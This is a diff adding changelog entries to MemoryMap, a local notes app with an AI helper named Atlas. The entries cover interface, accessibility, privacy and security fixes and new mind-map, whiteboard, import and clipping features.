+- Whiteboards and mind maps: the Board menu closes when Export, Clear, Add to a note, Map to document, Copy app link or Delete is pressed. It stayed open over the dialog or picker the row had just opened, and on a phone (390 wide) it covered the note picker's rows so the first one could not be pressed. Measured: all six left it open before, none after.
+- Settings, Skills and Personas: the "Built-in" label on a list row is readable in light (4.27:1 before, three tints stacked under muted type); it takes the ink, as the "Installed" label already did.
+- A whiteboard or mind map in a note no longer reads "This board is no longer in your notebook" when the note is drawn a second time while the first look for the board is still on its way: the second card now waits for that look instead of treating it as an answer. Measured with a board made a second before its note was opened: the card drew as removed in every run before, and as the board in every run after (`noteobject.js`).
+- Alignment and loading: a Timeline row's kind mark, title and time sit on one line (the mark was 1.2px above the title in a one-line row), and the Settings lists that fill from a request (Packages and its embedding models, Skills, Tools, Personas, Backups, Privacy, Account) show skeleton rows while they load instead of a blank space (INBOX 542, 596).
+- Settings: Models, What it remembers, What it learned and the Logs list show placeholder rows while their first answer is on its way, instead of a bare "Checking the models…" line or an empty pane; Models paints the last known status the moment Settings opens.
+- Capture: the formatting strip is the one-row folded bar from its first paint on a phone (it drew two rows, 104px, and folded to 54px when the Library code loaded, a jump under the thumb).
+- Note facts turned to their icons (a narrow column such as Ask's matching notes) are 24px squares with the icon centred. They kept the words' minimum width and side padding, so the links icon sat 4.5px left of centre in a 30 by 24 box (`iconchip.js`: now 24 by 24, 0px off).
+- Private notes: a private note's card no longer offers "Tag with Atlas" (the chip under an untagged note). The route refuses a private note, so the chip's only answer was a refusal toast; the note menu's AI actions group was already left out for one. Measured: a private untagged note drew 1 chip before and draws 0 now, a plain one still draws 1 (`open-privatechip.js`; `tests/test_private_note_no_ai_offer.py`).
+- Loading: the first visit to Graph, Library and Documents shows the page's own outline (its bar, then the map, the tiles, or the list and the open page) instead of a blank screen with a line across the middle, and if it takes more than a moment it says "Opening the graph…" with a moving ring. Dashboard widgets load as skeleton rows rather than the word Loading, and going back to the dashboard keeps it on screen while it refreshes instead of showing it empty for a second (INBOX 598, 596, 602).
+- Learned from your notes: turning off "Open questions" now stops the night pass collecting questions and matching them to later answers (the questions already collected stay listed). Before, the switch was stored and shown but gated nothing.
+- Note properties: saving a note's properties, and turning a plain mention into a link from a note's Backlinks, failed with an error since the entries API learned If-Match; both save again.
+- Settings: every on/off row is one shape. The switches written as a `.check-row` (15 in Settings) sat 6.4px from their labels against 9.6px on the `.setting-check` rows beside them; both are 9.6px now, and the SearXNG autostart row leads with its switch in the reading order as it already did on screen (`togglerows.js`, one shape at 1440 and 390, light and dark).
+- Library: the Files sub-tab asks for a PDF's first page only when this install can draw one. Without the PDF render extra each document row used to request a page that could only fail (four 404s per render on a notebook with four PDFs); the server now says per row whether a page can be drawn (`has_pages` on `GET /media`, and on the attachment gallery only with the extra) and the row keeps its type icon otherwise (`pdfpagereq.js`, 0 requests without the extra, 0 404s with it, at 1440 and 390, light and dark).
+- Documents: the word menu keeps its full width wherever it opens. A short menu left near the right edge and then opened on a word with a long suggestion measured itself squeezed against the edge (256px of its 316 at phone width) and was placed from that; it is now measured from the left edge first (`wordmenuwidth.js`, 5 of 5 at 1440 and 390, light and dark).
+- Graph: notes move at an even speed while the map settles (INBOX 586, "the graph is a little jittery when nodes move around or adjust position"). The layout's steps and the screen's frames ran on two clocks, so a note moved two steps in one frame and none in the next; each frame now draws the point between the last two steps that its time says. Simulated at 60 frames a second: per-frame steps vary by 13% instead of 34%, and on a large map every frame moves instead of one in four.
+- Graph: clicking a note moves nothing (INBOX 587, "when I click nodes on the graph, it moves the graph slightly??"). A press on a note used to start a drag at once, which reheated the layout, so every click set its neighbours moving; a drag now begins only after the pointer travels 3px. Measured on ten clicks: other notes moved 15 to 65px before, 0 after, and the view did not move.
+- Mind maps: a core topic's Dashed edge bar is dashed (INBOX 581, "the solid and dashed bar are exactly the same on mind map nodes"). A border's gaps show the box's own ground, and a core topic's ground is its branch colour, the bar's colour, so its Dashed bar drew solid; the gaps now show the board. Every Box (Rounded, Pill, Box, Ellipse), free, pinned, core and filled, in right, down and both-sides maps: Solid continuous and Dashed with gaps in all 64, light and dark (core was 2 of 16 before).
+- Chat: the Chats sidebar's head is one quiet row, the way the Notes sidebar's is (INBOX 578, "this section in the chat sidebar looks awkward"): the title, then the sort as an icon picker and New chat as an icon button, both ghost, beside the collapse toggle. It was a filled New button and a wide Recent field alone on a row under the head. Measured: one row, every control 32px on one centre line, nothing filled, at 170 to 520px sidebar widths; at the narrowest the sort leaves the head (sorting is then in the Library) rather than cutting the title.
+- Graph: Tree, Radial and Arc draw again on a notebook with replies (INBOX 579, "switching the graph layout does nothing"). The map now lists notes newest first, so a reply came before the note it answers and the layout stopped on an error before drawing; the layouts no longer depend on the order, and a reply chain that loops is filed under its category. Measured on 142 notes: every pair of layouts was 0 apart with three errors, now 21 to 110 apart (of 100) with none, canvas and SVG, light and dark, at 1440 and 390.
+- Icons beside words sit on the words' capital-letter centre in whatever font the app is drawn in (INBOX 592): badges such as Fits and Installed, a note's facts line (category, score, tags, date), menu rows and buttons. On Windows the icons sat up to 1.7px off and the date 1.3px off the chips beside it; the "+N more links" button is now the same pill as the links beside it.
+- Notes: the Connections column's help and close buttons are one size and on one line (the close button was smaller and sat 2px lower).
+- Narrow windows (600 to 820 wide, an iPad upright): one layout across the whole band. Settings shows its sections as a strip above one full-width column (the settings had 282px beside the section list at 620), the dashboard is two cards across, a note's actions are one row (they stood in a column below 720), and the top bar is one height; the leftover 720, 640 and 900 pixel layouts now change at 600 or 820 like the rest of the app.
+- Phone: Escape on a ⋯ menu's action sheet closes the sheet. Before, the sheet stayed up and the Escape closed what was under it, the Settings window included (found by INBOX 595's sweep).
+- Mind maps: the "Point a new node at…" picker (and every notebook picker on its shell) is redesigned (INBOX 572). With more rows than fit, each row shrank to 28px and its 32px icon hung over the next row's title; every row is now 56px with the icon centred and 8px between rows. The sources span the dialog as equal segments, each with its count (what matches the words typed), Home and End walk them, and the picker opens on the source you used last. A bookmark's icon says what it points at and a file's its type, titles are clipped by the row's width rather than at 70 characters, nothing matching is an empty state with an icon and a title, the search ring is the one 2px ring, and the list keeps one height and a thin scrollbar with no arrows.
+- Agent mode and skills: a small model that writes a lookup into its reply as text, like list_notes({...}), now has the lookup run instead of stopping with "I cannot execute the tool call"; changes written the same way still are not run.
+- Notes, Ask: the text-selection menu no longer pops up over an answer's sources when the answer selects your question for re-typing.
+- Moving a note the AI filed to another category now teaches the next filing: the move was recorded but never read back, so the same note kept being filed in the same wrong place.
+- Phone: More has a Commands row that opens the command palette, which a phone had no way to reach.
+- Notes: switching on "Connections beside an open note" with no note open says that the column shows beside a note once you open one (INBOX 546).
+- Settings: every section with three or more groups opens with its "In this section" strip under its title; Tasks had it at the bottom (after Quit MemoryMap) and short sections had none (INBOX 541).
+- Graph, Arc view: it opens framed whole, its arcs and end labels inside the window with a margin, instead of zoomed in on the bare baseline near the top (INBOX 544).
+- Notes, Capture: the Clear button sits below the text box instead of over its bottom edge (6px over at desktop width, 14px on a phone) (INBOX 545).
+- Top bar: the tabs no longer jump sideways when you switch tab; the strip was measured with its sliding highlight counted as a tab, so whether it was centred depended on which tab was selected (INBOX 539).
+- Agent mode: a model that can call tools is no longer reported as unable to after one tool call Ollama could not read; the request is made once more, only Ollama's own "does not support tools" counts as no tools, an error mid-answer is said instead of ending empty, and a model that claims tools but keeps failing gets its own message (INBOX 538).
+
+- Mind maps: a map's theme with an impossibly large text size in it (JSON's 1e999, from a hand-edited file or another client) is dropped like any other bad value; before, saving it was a server error, and since the theme is read on every open of the map, a stored one would have broken the map (the final scan, 2026-10-06).
+- Mind maps: the + on a map line is one Undo step that puts the branch back under its parent; Redo brings the new topic back between them; any topic taken back by Undo comes back under its parent on Redo, and a batch redoes in the right order (INBOX 537).
+Graph: a topic summary request's shared terms are capped at 200 characters each.
+Suggestions: a decision's signal names are capped at 40 characters (they are kept in the learning table for good).
+Agent: a small model's runaway bracket (thousands of [ or { in one tool argument) failed that one call as unreadable JSON; it raised RecursionError past every reader and ended the whole turn.
+Logs: the query-string redaction was quadratic in a line with a ? early and a long run of slashes after it (28,000 slashes took 2.4 s on the thread that writes every log line); it reads each run once.
+Privacy: making a note private drops the people and places a model had read out of it (the notes filter's entity: term and the graph still answered with a private note's names); made readable again, it is read again.
+- Graph: the options panel (676px of list in a 492px panel at 1440x900) already scrolled inside itself and now keeps the wheel there: a wheel at the end of the list no longer chains to the map behind it (`overscroll-behavior: contain`; on a phone the sheet is the scroller and already contained). Sweep `scratchpad/ui-sweeps/graphoptfit.js`.
+- A private note's kept tag suggestions and discarded tags are handled like its tags: shown wherever its tags are and nowhere else (search, the graph, the model's context, exports and every locked read were checked together), and filing no longer makes new suggestions for a private note from its text (`tests/test_private_suggested_tags.py`).
+- `[[Target|Shown]]` means the same everywhere: the note it links to is the part before the bar, whether the link is made on save, listed in a document or note's backlinks, or shown as "links to it" in a note's references; and a note's label, preview and graph line read the shown words, not "Target|Shown" (`manager.wiki_target`, `wiki_shown`, `wiki_plain`).

+/tmp/claude-0/-home-user-MemoryMap-AI/eac0a178-6a5f-55a9-b7c8-87cedc9b90ca/scratchpad/cl-aura.txt
+Library: a note or document with a long run of blank lines or spaces no longer freezes the app: 1,000 blank lines made the Library list take 6.5 seconds and 2,000 took 49, because the preview's table-rule pattern was cubic in the run; 20,000 of any shape is now instant.
+Privacy: saving a setting no longer copies a name, a dictionary of your words or a whole skill into the activity log; only short plain values are recorded.
+Security: the link opener, page clipper and other outbound fetches now refuse the shared address space (100.64.0.0/10, which includes Tailscale nodes and a cloud metadata service at 100.100.100.200) as they already refused home-network addresses.
+Privacy: saving an edit to a private note kept its new text encrypted only in the editor's eyes (it was written to the database in plain text while the note stayed marked private, and into the search index); it is now stored encrypted, and Add context, which appended plain words to the encrypted text and made the note unreadable, refuses a private note.
+Privacy: making a note private now encrypts the history it already had (its first version and earlier edits sat in the event log and the version list in plain text); restoring an older version fits the note as it is now, so a version saved while private no longer comes back as unreadable text in a note that has since been made public.
+- Chat: the transcript keeps following a long answer as it is written. A heading, list or code block landing between two frames made it stop following, so the end ran away from you and only "Jump to latest" caught up; a picture arriving late or a fold collapsing now keeps you at the bottom too.
+- Chat: with a local server that speaks the OpenAI dialect (LM Studio, llama.cpp), an answer now writes itself live; it used to arrive all at once at the end of the turn.
+- Ask: Tab off either end of a pinned source preview closes it and puts the focus back on its mark, instead of leaving it open at the end of the page until Escape.
+- Chips: the Contents jump chips, the dashboard's On this day dates, the chat sources' +N, document property and embed chips and the Library's reading badges put their words in the same trimmed span as every other chip, so they sit level with their neighbours.
+- Skill logs: Clear and the pin button no longer touch when the collapsed sidebar is peeked open (they overlapped by 5.6px; the peeked pin now sits where the pinned one does, 6.4px from Clear), and at phone width Clear sits 6.4px from the opener, up from 2.4px (INBOX 495).
+- Locking the notebook no longer deletes the Timeline's feed and table or the Reminders controls (it emptied their containers, not only the rows), so the Notes select button stops throwing `Cannot read properties of null` from `paintTimeline` after a lock; a lint now fails if a purged container holds an id (INBOX 492).
+- Mind maps: the board's Insert and Arrange buttons no longer show in a map's top bar when one of their menus was open as the map opened.
+- Quick sketch: the toolbar stays on one row at tablet width with Large text; the ink dots sit closer between 600 and 1023px wide.
+- Mind maps: the topic menu's "Connect this topic to another" picks the connect tool again; it did nothing.
+- Mind maps: Tab, a name and Enter typed before the new topic's editor has opened now name that topic; the Enter used to add a second, empty topic and the name was lost.
+- Search results open from the keyboard (Tab to one, Enter or Space), and the sidebars' "All in Library" link fits on one line.
+- Whiteboard and mind map, audited (INBOX 445): M picks the highlighter without opening the quick-nav guide (which swallowed the stroke, and M then D left the board); a map's letters no longer pick hidden board tools; Escape leaves a text box selected; the shape Fill switch draws filled shapes when on (it was inverted); the tool bar shows only the settings the held tool uses; Ctrl+Shift+arrows move a topic among its siblings, Enter adds the new topic right after the current one and Shift+Enter right before it, Ctrl+Z brings back a deleted branch with its styling, undo keeps 100 steps; what you type straight after Tab or Enter is the new topic's text; Tab walks a board's items from the keyboard, each one announced, and Select all takes pictures; group and branch drags no longer re-measure the board every frame.
+- A note card's time stays on screen when you point at the card (it faded out to make room for the buttons), at the right of the details line, and says "edited" when the note has been.
+- With no AI running, Ask answers "What have I saved recently?" with your newest notes and when each was written, each cited, instead of saying the notes did not match the question.
+- Companion on Chat: it perches on the composer dock, reads along on it while an answer is written and cheers when it lands, and never covers the input, Send, Stop or the latest message (Atlas's tail hung over Stop and the input). A double-click no longer pokes it first, and with reduced motion a move is a crossfade rather than a fade to nothing and back.
+- On a phone a note's suggested tags are 24px chips again: each one's dismiss button had grown into a 44px grey disc. The graph labels a note by its first line, not its title run into its body. The document sidebar's Documents/Outline tabs keep their underline in the Paper, Utilitarian and Mono looks. Recently added on the dashboard can be opened from the keyboard. The Reminders form is one height with every other form.
+- A note's history says whose each change was: You, Atlas, or You and Atlas (a save that includes an applied Improve writing suggestion), with the exact time on hover; any earlier version can be put back.
+- Selected text, Search the notebook: says which notes it is showing, with Clear, instead of filtering the list silently.
+- A note's details line has room again: where it is filed and how sure, its tags, then what points at it, 16px apart (they sat 6px apart, overlapping, in the Notes list).
+- The graph's note popup renders markdown and pictures again: choosing Source in Capture had switched every note box to raw markdown, including the popup, which has no Source button to switch back.
+- Selected text, Save as a note: says "Saving…" at once and "Saved as a note" with Open when done, and files in the background instead of waiting on the model.
+- Ask, Chat and the weekly digest know what a note's time words meant: "this Friday" in a note written two weeks ago reaches the model as "Friday 25 September 2026, 8 days ago", not as this week's Friday.
+- "What have I saved recently?" (and "what did I write lately") lists your newest notes instead of searching for the word "saved".
+- A picture in a note stays visible while you edit its line (under its markdown), so the graph popup's Edit no longer turns a sketch into a bare link.
+- Loading placeholders show the shape of what is coming (a title line and a text line) with a visible sweep; with reduced motion they breathe gently instead of sitting blank.
+- The tags list under a tags field lights the row under the pointer, and Enter or Tab takes a row reached with the arrows or the pointer.
+- Settings, Templates, Skills and Personas: Edit, Reset and Delete sit in their own column, centred on the item and always shown (they were hidden until pointed at and hugged the card's top corner); the Built-in label is one line beside the name.
+- Badges: "Built-in", "Edited", "Yours" and the Models sliders' "you set this" are drawn one way everywhere (the Library's skill cards showed bare text and the sliders a third style); the Library's skill facts are one height.
+- Privacy: the search-by-meaning model goes online only to download itself the first time; once on this computer it loads from disk with no connection, and if its files will not load it says to reinstall it instead of quietly fetching it again.
+- Settings, Models: double-clicking a slider to reset it also resets its "you set this" badge, and the value no longer shows twice.
+- Loading: the Library's documents, boards and maps, images and files, AI skills, bookmarks and contents, Reminders, the chat list and the documents sidebar show placeholder rows while their data loads, instead of a blank area.
+- Tags fields (Capture and editing a note): the browser's dropdown arrow and list are replaced by the app's own list, under the field at its width, completing the tag after the last comma, leaving out tags already entered, showing how many notes use each; arrow keys, Enter, Tab and Escape work.
+- A note nothing could file offers its likely categories as one-tap buttons beside Choose category; a note filed from your notebook's words says so.
+- The AI status dot's "checking" dots sit in the middle of the dot (they were 3px off).
+- The AI status popup and the header's menus stand above the companion when it is perched on their bar.
+- Settings, Models says it is checking while the model status loads and that a slow model server is slow, instead of "Can't reach the MemoryMap server" while the app is running.
+- The needle extra's note says plainly that it runs offline and that nothing needs doing about telemetry.
+- Notes: Ctrl+Shift+N, the dashboard's New note and the empty states always open Capture with the caret in the box; with Notes last on Browse the shortcut used to focus nothing, and what you typed next was lost.
+- Filing with no AI: a new note is filed from your notebook's own words (the notes already in each category, their tags, your moves by hand and the category names), says so ("filed from your notebook's words"), and stays in Uncategorised when it is not sure; before, every note went to Uncategorised whenever no model was running.
+- Accessibility: Settings, Keyboard shortcuts has a switch for single-key shortcuts (the m chord, / and ?), so speech input or a stray key cannot trigger them (WCAG 2.1.4).
+- Zoom and keyboard: at 400% zoom or on a very short window the sub-tab strips scroll with the page and New note stays in its dock, so a focused control is never hidden under them; a closed sidebar drawer is no longer a Tab stop; a control reached by Tab scrolls clear of the floating button and the sticky strip.
+- Keyboard: F2 or Edit puts the caret in the note's editor and Escape returns to the note; a chooser sheet (Move to category, Tags) opens on the current row and the arrow keys walk its rows; after a move the focus stays on the note instead of falling to the top of the page.
+- Accessibility: Find anything's results are announced as a list only while they list something; its empty and no-match messages no longer read as an empty list.
+- A dropdown's list is never narrower than the control that opened it (Library "Items per page", the Timeline's options, Sort notes).
+- A chip's leading icon sits level with its words (the clock on the "Ask again" chips sat 1.5px high).
+- The Web search panel's "..." menu is there the moment the panel opens, instead of after the engine's status check.
+- A note card's labels row keeps the same room under the text as under "Show more".
+- Timeline: on a day with notes, today's count stays at the end of its heading like every other day's, with "Start today's note" just before it, instead of floating in the middle.
+- Reminders: the 15 min and 1 day steppers sit right after Quick set, with the time they add up to after them, and no longer move when Reset appears.
+- Accessibility: sidebar and panel resize grips say how wide the panel is; the document editor and every note box have a name; Library chip counts and the Web toggle meet 4.5:1 contrast; dashboard rows that are buttons are announced as a group; Capture, persona and template fields have labels, not only placeholders.
+- Companion: perched on a chat message, a library card or a note card, it now scrolls under the top bar with its perch instead of staying in front of it (62px of figure over the bar before, 103px at Large); perched on the bar itself it stays in front.
+- Companion: the palette row says Hide companion or Show companion, whichever it will do, and the hide toast names the shortcut as currently bound.
+- Accessibility: the app has one main landmark around its tab pages, so a screen reader's jump to main content works on every tab (it found nothing on five).
+- Status bar: below 1024px wide the page no longer scrolls sideways while a background job runs; the key hint goes and Ask, Guide, Find, reminders and the running count show their icon and number, their words still read to a screen reader.
+- Notes: a filter still being typed (`tag:`, `in:`, `#`) no longer empties the list until its value is typed.
+- Notes: Ctrl+Enter (Cmd+Enter) saves from the capture box and from a note being edited, and the caret stays in the box after a save, so the next thought goes straight in.
+- A note no AI could file says so once, "Saved in Uncategorised: no AI model is running to file it", with Choose category beside it, instead of "Filed under Uncategorised (0% sure)" twice.
+- A note being edited keeps what you typed when the list redraws (a star pressed elsewhere, a filter, a background filing); Escape and Cancel ask before dropping changes, and an emptied note is refused rather than quietly kept.
+- Selecting notes, then changing category or filter, no longer leaves hidden notes selected for Tag or Delete.
+- A to Z sorts by a note's title, with "note 2" before "note 10"; the sort is remembered.
+- The Notes sidebar lights one row at a time, lists categories with no notes yet, sorts names the way people read them, and every row is reachable by keyboard; its fold is remembered.
+- In "All spaces", moving or renaming a category never files a note under another space's category; category counts match the notes list; tags are stored once each, whatever their case.
+- The Connections column lists a note's own [[links]], and "Forgotten, and close to this" never lists drafts or unrelated notes.
+- The popup agent with a small model: a reply that only says what it will do ("I'll count the notes in Work") is asked once to do it, and the model's quoting markers no longer show in answers.
+- Settings: Import .md files works again; the search engine line says how many notes search by meaning can find and how the last search found its notes; Chat's Web and Plan pills keep their icon when on.
+- Boards and mind maps: dragging the overview's view box keeps up with the pointer (a 150-card board at a 4x slowed CPU: 183 to 33ms a frame at the 95th percentile, long tasks 61 to 0 to 3), and Fit is two to three times smoother.
+- Phone: tapping a note opens it; the categories drawer is one column of full-width rows that closes on a choice; a toast no longer covers the New note button.
+- The command palette (Ctrl+K) finds "Manage categories", "Go to category: X", a #tag, and Move to category for the note in hand.
+- Asking for "my last note" (or latest, newest, what I wrote last) lists your newest notes newest first instead of searching for the words; Chat and Ask now tell the model when each note was written and last edited.
+- The rows view is one line per note (47px a row, was 74).
+- Note boxes (Capture and editing a note) render as you type with a Source switch for the markdown, in place of a separate Preview; the switch stays visible with the formatting tools folded and is remembered.
+
+### Added
+- Whiteboards and mind maps: drag a card, a text box, a shape or a topic (or the selection it belongs to) onto "Drop here to delete", which appears at the foot of the canvas while something is carried, to delete it as one Undo step, with a toast offering Undo; a topic takes its branch, as its Delete does. Escape or a drop anywhere else leaves it a plain move, and Delete still works from the keyboard (INBOX 660).
+- Mind maps: a topic can have a due day (the Markers popover's Due row): drawn in the marker row, a day gone in red and read as was due, filterable, kept by OPML and FreeMind, and Remind me makes a reminder at 9:00 that day (MINDMAP_PLAN decision 37; `tests/test_mindmap.py`, `op5-1005.js` MODE=due).
+- Mind maps: Study the map (the board menu, or the palette) asks one branch at a time with what is under it hidden; Show draws it, Knew it or Not yet marks it, and the marks are kept for that map on this device (MINDMAP_PLAN decision 36; `tests/test_map_study.py`, `op5-1005.js` MODE=study).
+- Mind maps: export as a plain-text outline (a tab per level) and import a .txt outline; an outline file dropped on the boards page imports and opens (MINDMAP_PLAN §12.2 item 10; `tests/test_mindmap.py`, `op5-1005.js` MODE=mapio).
+
+- Chat, skill runs: "Undo the run" beside What changed puts back every note the run changed at once, after showing what will go back; each change keeps its own Undo, and a board item is named as one that can't be undone.
+- Settings, Packages: "Read images without Tesseract (RapidOCR)", a second local reader for pictures and scanned pages with nothing else to install. It reads when Tesseract isn't ready; Tesseract stays the reader whenever it is. The Vision bundle installs both, and the OCR workspace names whichever one read.
+- Documents: in Live, drag the corner of a picture to resize it, or focus the corner and use the arrow keys, and its align button puts it on the left, in the centre or on the right; the size and alignment are written into the picture's markdown, so Read, a print and the exports show the same picture (DOCUMENTS_PLAN decision 8, the audit's D5).
+- Documents: Print or save as PDF first asks for the page size (A4 or Letter), orientation, margins and whether to print page numbers with the title at the head of each page, and remembers it; a plain Ctrl+P prints on the same page (DOCUMENTS_PLAN decision 7, the audit's D4).
+- Documents: a ```mermaid flowchart (flowchart or graph, in any direction, with boxes, rounds, diamonds and circles, labelled and dotted or thick links) draws as a diagram in Read, in Live while the caret is elsewhere, in a print and in the HTML export, by the app's own parser with nothing downloaded; press it in Live to edit its text; any other Mermaid diagram stays as code (DOCUMENTS_PLAN decision 20.6, the audit's D3).
+- Documents: the menu's Map the headings (and the palette) makes a new mind map of the document's headings, laid out as a tree, with a topic that opens the document again; a heading inside a code block is left out (MINDMAP_PLAN decision 35, the audit's M5).
+- Mind maps: markers on a topic, a priority from 1 to 5, how far along it is, a flag and up to six icons (from the app's own icon set, never emoji), drawn before its name and set from the topic's menu (Content, Markers) or the palette; View, Filter by marker dims every topic without the one you pick; OPML and FreeMind exports carry them (MINDMAP_PLAN decision 34, the audit's M4).
+- Mind maps: View, Outline shows the map as an indented list beside it, edited in place: type to rename (the canvas follows as you type), Enter adds a topic, Tab and Shift+Tab move it in and out a level, Backspace on an empty topic removes it, Escape goes back to the map; the palette has the same row (MINDMAP_PLAN decision 33, the audit's M3).
+- Notes: the filter is:review lists the filings to check, notes Atlas filed with little confidence or left in Uncategorised, each with Accept (keep its category, with Undo), Refile and Split; the dashboard's Categories widget says how many wait, and the palette has Show filings to check (WORLD_CLASS_PLAN section 17).
+- Graph: View, Colour, Note type paints each note by its type (Meeting, Book, your own), with "No type" in grey; a type's colour is chosen in Note types, its ⋯, Colour…, and Automatic is the colour the picker previews (WORLD_CLASS_PLAN row 10, D5).
+- Timeline: in the feed, Ctrl and the mouse wheel, or a trackpad pinch, makes the date groups finer or coarser (day, week, month, year), one step per gesture, keeping your place; + and - on a row do the same. Options, Time range has On this day: what you wrote on today's date in earlier months and years, in your own time zone (TIMELINE_PLAN decisions 11 and 12).
+- Dashboard, Tensions: the widget now lists the disagreements already found and not yet decided (by a review or the overnight pass), each with both notes, what it is about, and which model found it when, with buttons to open either note, link the two as contradicting, or dismiss the pair. A review keeps what it finds and never asks the model about the same pair twice, and the review sheet shows what is waiting before you start (WORLD_CLASS_PLAN B4, row 18).
+- Notes, a live query's Table: the last row rolls each column up over every matching note (not only the rows drawn): Count, and Sum, Min and Max for numbers, Earliest and Latest for dates, the choice kept per column. A note field in Properties (and in a document's properties) has a magnifier that searches your notes, where before only the first 300 titles were offered (GRAPH_PLAN, the last KG rows; `scratchpad/ui-sweeps/kg1005-rollups.js` 8/8 at 1440 light and 390 dark).
+- Polish in use (WORLD_CLASS_PLAN H9): Settings, General, Simple mode shows only Dashboard, Notes, Chat and Library (every hidden place still opens from the palette); What you use counts the tabs and palette commands you use, on this computer only and never sent anywhere, lists what has not been used in 90 days, and the palette puts your most used commands first; `memorymap --capture` bound to a key in your system's keyboard settings opens a one-line capture box over any app (Settings, Keyboard shortcuts, Capture from anywhere has the command; a note was saved and listed 606 ms after the box opened); a pause while typing a question warms the search for it, and focus in Capture, Ask or chat starts loading a search model that is not loaded yet, which took the first answer on a fresh install from 15.5 s to 11.5 s of the app's own time (most of what is left is that model's first load on a busy sandbox). A perf budget runs with the suite on every push (`tests/test_perf_budget.py`: statement and time budgets on ten boot routes); the sweeps gained a fault pass (29 routes failed one at a time, no tab left blank), a keyboard reach pass and the axe pass in `all.sh` (WCAG 2.2 AA, every tab and Settings section: 0 findings at 1440 light and dark; at 390 the Timeline table's rows carried aria-expanded, which a plain table does not allow, and the table is a treegrid now, 0 findings after).
+- Settings, Import & export, Import from another app: From Notion (the Markdown & CSV export zip), From Obsidian (the vault folder), From Evernote (.enex) and From Apple Notes (an exporter's folder). Folders and notebooks become categories, tags and created dates come along, links between Notion pages become wiki links, and a second import of the same export adds nothing twice and says how many were already here; one step with Undo, like the other imports. Evernote files are read with entity expansion refused (WORLD_CLASS_PLAN H6, 5.7; `POST /import/app`, `entry/app_import.py`, `tests/test_app_import.py`). Keyboard: every visible dock control on all seven tabs is reached by Tab, measured (`scratchpad/ui-sweeps/inv1005-keyreach.js`: 45 controls at 1440, 31 at 390, none missed).
+- Web clipper, from your own browser: Settings, Import & export, Web clipper has a Clip to MemoryMap bookmark to drag to the bookmarks bar. Pressed on any page it opens a small MemoryMap window with the page's title and address, and Save as a note keeps its main text, or only what you selected. Nothing is fetched (it works with web search off and on pages you signed in to see), no extension is needed, and the same page clipped twice points to the note it made the first time. A clipped note keeps its address, so Atlas treats it as text from outside, and a retrieved note from outside is now fenced as one in the prompt (WORLD_CLASS_PLAN D9; `POST /links/clip-page`, `clip.html`, `tests/test_webclip_page.py`).
+- Documents: the margin reader. Turn it on from the dock menu's While you write, Margin reader, and a column beside the editor shows at most three cards about the paragraph you are in, a moment after you stop typing: Repeats, Differs (the same thing with a different number or a not, or what the model judges a disagreement), Answers (one of your open questions), Date (with Make a reminder) and Related, each naming the sentence in your other note, with Open and Not this. Nothing is written into your text; off by default and behind Settings, What the notebook learned, Margin reader (WORLD_CLASS_PLAN I2; `POST /editor/read`, `ai/margin.py`, `tests/test_margin_reader_spec.py`). Measured with the model off, 500 notes, 12 requests on a sandbox at load 20: median 40 ms, p90 122 ms (the plan's budget is 300 ms); typing latency in Chromium not measured.
+- Settings, Models, Test my models: the model bench runs your installed models on your own notes (filing, a cited answer from three notes, five tool calls each) and recommends one, with each model's numbers and the first things it got wrong, Stop, and Use this one; fully local, one run at a time, its last report kept (WORLD_CLASS_PLAN I8, H3; `ai/bench.py`, `/models/bench`, `tests/test_bench_spec.py`). The offline harness's citation score now comes from `ai/bench.py`, so the two cannot drift. Not verified against a real model.
+- Time travel: in Notes, Ask, the clock button answers from your notes as they were on a day you pick, and a note's History shows Then and now for an earlier version, what it said then against what it says today, sentence by sentence (row 23).
+- Settings, What it learned: a "Learned from you" line counts your corrections and gives filing accuracy, the share of the notes Atlas filed that you left where it put them, older half of the last 200 against the newer half (row 20).
+- From the original vision: a review queue (is:review in Notes, Accept the filing on a note's menu, and a Filings to check dashboard widget), Tidy suggestions in Manage categories (names alike in spelling or meaning to merge, categories empty for thirty days to remove, Not these remembered), a Filing style setting (by topic, by project or by time), charts in Ask for counting questions (how many notes per category this month) with their numbers and Save as PNG, a Most opened this month widget, and Explain this note on a note's menu (WORLD_CLASS_PLAN 17).
+- Reminders: Snooze 10 minutes on a reminder's menu, beside +1h and tomorrow on its row (WORLD_CLASS_PLAN D8).
+- Ctrl+Shift+V outside a text box saves what you copied as a new note, with Undo; a saved chat reopens where you left it; the AI status dot says how the last answer went (the model, its time, how much of its window it used); suggested links read as two note chips with a score bar, the reason behind Add a reason, and Link all above 70%; Settings, Account & security has Re-encrypt private notes. Settings, Packages: a package's name lines up with its Install button.
+- Documents and reminders go to the recycle bin like notes: the Library's bin lists them, Restore brings back the same document with its history, attached notes and reminders (its Undo used to make a new copy), Delete for good, Empty the bin and the auto-clear take them too. The Notes selection bar's ⋯ has Move to space (each note keeps its category's name, its files and reminders go with it, and Undo sends each back) and Export as Markdown. Editing a note shows its words and reading time. Note templates fill {{clipboard}} and {{time}} and put the caret at {{cursor}} (WORLD_CLASS_PLAN 5).
+- Remind me on a document's and a board's or map's ⋯ menu, and on the Library's note card with Link to (a note picker); a document's Library card has Show in graph. A reminder now says what it is about (a note, a document, a board or a map), and its row opens that (WORLD_CLASS_PLAN 1.3).
+- Note types: Person, Project, Meeting, Book and Place come built in, each with its own colour and fields (deleted ones stay deleted), and the graph's View, Colour has Note type, which paints each note its type's colour (WORLD_CLASS_PLAN D5).
+- Whiteboard: View, Present frames shows a board's frames one at a time, full screen, in reading order, each fitted to the screen. The arrow keys, Space, Home and End (or the small bar at the foot) move through them, and Escape puts the board back as it was (WHITEBOARD_PLAN decision 16; `scratchpad/ui-sweeps/wbpresent.js` 18/18 at 1440x900 and 390x844, light and dark).
+- Whiteboard: lock. Ctrl+Shift+L (or Lock on an item's right-click menu) holds what is selected in place: clicks pass through it to the board, and Select all, a box selection, the eraser and a frame's drag leave it alone. Right-click the board and choose Unlock (it says how many are locked), or press Ctrl+Shift+L with nothing selected, to free them (WHITEBOARD_PLAN decision 15; `scratchpad/ui-sweeps/wblock.js` 17/17 at 1440x900 and 390x844, light and dark). A box selection drawn inside a frame no longer selects the frame as well.
+- Whiteboard: frames. F (or Add in the rail, or Insert, Frame) places a titled region on a board; a click drops one, a drag draws it. Dragging its title moves everything inside it with it (Ctrl and drag moves the frame alone), double-click the title to rename it, and deleting it leaves what it held. Its inside lets clicks through, so you select and draw inside it as on the board; it exports with the board, and the board's AI read names each frame and the cards under it (WHITEBOARD_PLAN decision 14; `scratchpad/ui-sweeps/wbframes.js` 24/24 at 1440x900 and 4/4 at 390x844, light and dark).
